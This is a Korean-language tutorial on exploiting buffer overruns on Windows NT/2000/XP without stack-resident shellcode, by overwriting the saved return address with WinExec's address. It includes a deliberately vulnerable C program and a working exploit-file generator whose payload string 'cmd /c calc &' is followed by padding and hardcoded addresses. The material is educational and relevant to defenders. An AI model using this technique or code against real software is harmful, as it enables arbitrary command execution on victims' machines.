Non-stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows NT/2000/XP

WOWHACKER (http://www.wowhacker.org)

목차

소개
Buffer overrun이 무엇인가?
Stack-based overflow가 non-stack based overflow와 어떻게 다른가?
정상적인 작업에서의 함수 호출
개발할 때 고려 사항
예제
결론

소개

대부분의 윈도우용 buffer overflow exploits는 stack으로부터 코드를 가져와서 어떻게든 그곳으로 프로세스를 보내서 실행하는데 의존해왔다. 하지만 이런 공격을 방지하는 제품들이 더욱 더 많이 시장에 등장하면서, non-stack based overflow exploit 공격이 점점 일반화될 것이다. 이 문서는 그것들이 무엇이고 어떻게 하나를 만드는지에 대해 설명되어 있다. 뒤에서 나오겠지만 그것을 만드는 것은 매우 쉽다. 전통적인 stack based overflow보다도 쉬우며, 오직 낮은 수준에서 함수들이 어떻게 호출되는지에 대한 이해만을 요구한다. non-stack based buffer overflow exploit 프로그래머는 어셈블리언어조차 알 필요가 없다.

Buffer overrun이 무엇인가?

Buffer overrun은 너무 많은 데이터가 메모리의 buffer에 저장되어 있는 상태를 말한다. 만약 이 buffer가 너무 작아 모든 데이터를 보관할 수 없으면 buffer overflow가 일어나서, 프로그램의 실행 경로를 관리하는 중요한 정보가 덮어 씌워질 것이다. 이렇게 되면 공격자가 buffer를 자신의 컴퓨터 코드로 가득 채워서, 프로그램이 원래 실행해야할 코드 대신 공격자의 코드를 실행하게 만들 수 있다. 많은 좋은 문서들은 전통의 buffer overflow를 설명하고 있다. 만약 독자가 buffer overrun 취약점에 대해 완전히 알지 못하거나 이해가 부족하다면 이러한 관련글을 먼저 읽을 것을 권장한다.

Stack-based overflow가 non-stack based overflow와 어떻게 다른가?

스택 기반의 오버플로우(Stack based overflow)의 경우에는 컴퓨터 코드가 버퍼(buffer)에 채워져서 처리 실행(process' execution) 관리 능력을 얻은 후에 processor가 스택에 위치한 이 코드의 지시를 받게 된다. 이 코드는 기계 코드, 즉 어셈블리언어의 숫자 표현이다. 한편으로 비스택 기반 공격(non-stack based exploit)은 코드를 쓸 필요가 없다. 스택 기반의 경우와 같이 이 경우에도 스택에 저장된 리턴 주소(return address)가 덮어 써질 것을 필요로 한다. 하지만 이 경우에는 processor에게 버퍼로 돌아가라는 명령을 내리는 대신 저장된 리턴 주소를 WinExec()나 system()과 같은 주소 함수(address function)로 덮어 써 버린다. Overflow에서는 스택이 앞으로 실행될 함수로 하여금 그것이 정상적으로 호출된 것처럼 보이게 수정된다. 이것은 함수에서 쓰인 매개 변수(parameter)를 나중에 사용할 수 있도록 스택에 남겨두는 것을 요구한다. 일반적으로 non-stack based overflow 코드는 리턴 주소를 덮어 쓰는데 이용되는 센션의 앞부분 버퍼 일부분이 개조되거나 삭제되기 때문에 stack based overflow보다 상당히 작다. 이 과정은 섹션 이후의 버퍼만을 남겨 놓는다. Non-stack based exploit는 몇 바이트만

을 요구하는 반면 stack based exploit는 몇 백 바이트를 요구하는 것은 이 때문이다. Non-stack based buffer overflow exploit은 함수들이 passed 매개 변수이고 성공적이라고 불리는 이유를 보여준다.

정상적인 작업에서의 함수 호출

C 함수가 어떠한 매개 변수를 통해 호출이 되면, 스택을 거쳐서 그 요구가 전달된다. 이러한 매개 변수를 "PUSHed onto the stack"라고 하며 이 과정은 함수가 호출되기 전에 행해진다. 다음 C 소스 코드 조각을 생각해보자.

```
..
WinExec(command,SW_HIDE);
..
```

이것은 다음 어셈블리 코드로 번역된다.

```
mov eax, 0              // Move into the eax register SW_HIDE
push eax                // push this onto the stack
lea eax, [ebp-8]        // load the effective address of the command into eax
push eax                // push this onto the stack
call WinExec            // call the function
```

여기서 볼 수 있듯이 매개 변수들은 거꾸로 stack로 밀어 넣어진다. 호출 연산(call operation)이 실행되기 바로 직전의 stack의 이상적인 모습은 다음과 같다.

```
--------------------------ESP
 80
 ----
 FF
 ---- Pointer to command to run
 12
 ----
 00
 -------------------------
 00
 ----
 00
 ---- SW_HIDE
 00
 ----
 00
 -------------------------
```

호출 연산이 실행될 때에는 여러 활동이 일어난다. Instruction Pointer(EIP) register의 내용은 호출되는 절차(procedure)의 주소의 것으로 바뀌지게 되고, 호출 연산을 따르는 주소는 stack에 밀어 넣어지게 된다. 호출 연산이 주소 0x00401020에 존재한다고 가정하면, 0x00401022은 stack에 밀어 넣어 질 것이다. 결과적으로 ESP는 4만큼 감소하게 된다. 이제 이 주소가 저장된 return address가 되고, 이 것은 실행 처리의 과정을 쫓을 때 쓰이게 된다. Called procedure가 return되면, 이 주소가 stack에서 나와 EIP에 위치하게 된다. 실행은 여기서부터 이어진다. 다음이 현재 모습을 보여준다.

```
--------------------------ESP
 22
 ----
 10
 ---- Saved Return Address
 40
 ----
00
 -------------------------
 80
 ----
 FF
 ---- Pointer to command to run
 12
 ----
 00
 -------------------------
 00
 ----
 00
 ---- SW_HIDE
 00
 ----
 00
 -------------------------
```

이것이 WinExec() 함수가 호출 되었을 때의 stack 모습이다. 이 개념이 non-stack based exploit를 쓸 때 복제될 필요가 있는 부분이다.

개발할 때 고려 사항

Buffer를 overloading할 때 성공적인 exploit가 되기 위해서는 먼저 저장된 return 주소를 공격자가 호출하고 싶은 주소로 덮어 써야 한다. 이 문서는 WinExec()를 예로 사용할 것이다. 스택은 WinExec()가 호출 될 수 있도록 준비되야 한다. 이것은 진짜 저장된 return address와 실행할 명령어에 대한 pointer 다음에 다른 가짜 return address를 저장할 것을 필요로 한다. WinExec()은 SW_* 매개 변수를 위한 어떠한 DWORD값도 비교적 쉽게 받아들이기 때문에 stack에 제일 먼저 자리 잡고 있던 것을 사용하는 것도 가능하다. 이것은 SW_*매개 변수를 stack에 위치시킬 필요가 없으며, 실행 명령에 대한 pointer속에 NULL이 있을 경우의 문제도 해결해 준다. 만약 NULL이 존재했다면, stack에 매개 변수를 위치시킬 수 없게 됐을 것이다. 어쨌든 이것이 유용하다는 것이 증명된 것이다. 이제 더 필요한 것은 메모리 어딘 가에서 NULL이 없어진 명령이 실행되는 것 뿐이다. 이것은 buffer를 overflow하기 위한 string이 반드시 다음과 같아야 하기 때문에 문제가 발생할 수 있다.

command+padding+saved_return_address+dummy_saved_return_address+parameters+.....

이 포멧을 취함으로써 남는 padding, 즉 return address들과 매개 변수들이 명령의 실행을 실패로 돌릴 수도 있다. 이 문제를 해결하기 위해서는 명령을 cmd shell에서 실행하고, 명령과 padding plus extras를 '&(ampersand)'기호로 분리해 두면 된다.

cmd /c command &
+padding+saved_return_address+dummy_saved_return_address+parameters+.....

이렇게 함으로써 extra가 두 번째 명령어로 취급해 첫 번째 명령어 성공적인 실행에 영향을 끼치지 않는다.

예제

C 소스 코드로 쓰여진 overrun.exe 프로그램을 보자.

```
#include <stdio.h>
 int main ()
 {
 char buffer[256]="";
 FILE *fd=NULL;
 fd = fopen("file.txt","rb");
 if(fd == NULL)
 return printf("Couldn't open file.txt for reading \ n");
 fgets(buffer,1000,fd);
 return 0;
 }
```

이 프로그램은 “file.txt"를 열어서 1000 character를 buffer로 읽어 들인다. Buffer는 256바이트 밖에 되지 않기 때문에 만약 파일로부터 256개의 character보다 더 많이 읽어 들이게 되면 buffer는 overflow하게 될 것이다. 이 overflow를 non-stack based exploit로 이용하기 위해서는 expoit를 포함하는 ”file.txt" 파일을 만드는 프로그램을 짜야한다. 다음이 코드이다.

```
#include <stdio.h>
 int main()
 {
 char buffer[500]="cmd /c calc &
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAABBBB";
 char sraddress[8]=" \ xAF \ xA7 \ xE9 \ x77";
 char padding[8]=" \ x90 \ x90 \ x90 \ x90";
 char pointer_to_command[8]=" \ x70 \ x51 \ x2F \ x00";
 FILE *fd=NULL;
 fd = fopen("file.txt","w+");
 strcat(buffer,sraddress);
 strcat(buffer,padding);
 strcat(buffer,pointer_to_command);
 fprintf(fd,"%s",buffer);
 fclose(fd);
 return 0;
 }
```

여기서 볼 수 있듯이 실행될 명령은 “cmd /c calc”이다. 만약 성공적이라면, 계산기 프로그램이 실행될 것이다. 저장된 return 주소는 WinExec의 주소로 덮어 씌워 질 것이다. WinExec를 위해 가짜 저장된 return address가 만들어 질 것이고, pointer는 이 전체 string의 끝에 고정된다.
성공적인 exploitation에서는 저정된 return address는 WinExec()의 address로 overwritten 될 것이다.
적절한 return operation이 실행되면, processor는 WinExec()로 return하게 된다. WinExec는 가짜 저장된 return address를 무시하고 그의 매개 변수를 갖고 명령을 수행해 나간다. WinExec 함수가 return 되면, 프로그램은 반드시 무너진다. 하지만 그 시간이면 공격자의 공급된 명령어(suppiled command)는 벌써 실행하는 단계에 있게 된다.

결론

Non-stack based exploit들은 쉽게 짤 수 있으며, 그 방법은 원격 exploitation의 buffer overflow 취약점에도 적용될 수 있다. 아직 하고 있지 않으면, 네트워크를 기반으로 둔 IDS 소

프트웨어는 그런 종류의 공격에 대비하고 있어야 한다. Non-stack based exploit는 결국에 buffer overflow 취약점의 이용에 대한 마지막 희망의 요새 중 하나가 될 수 있다.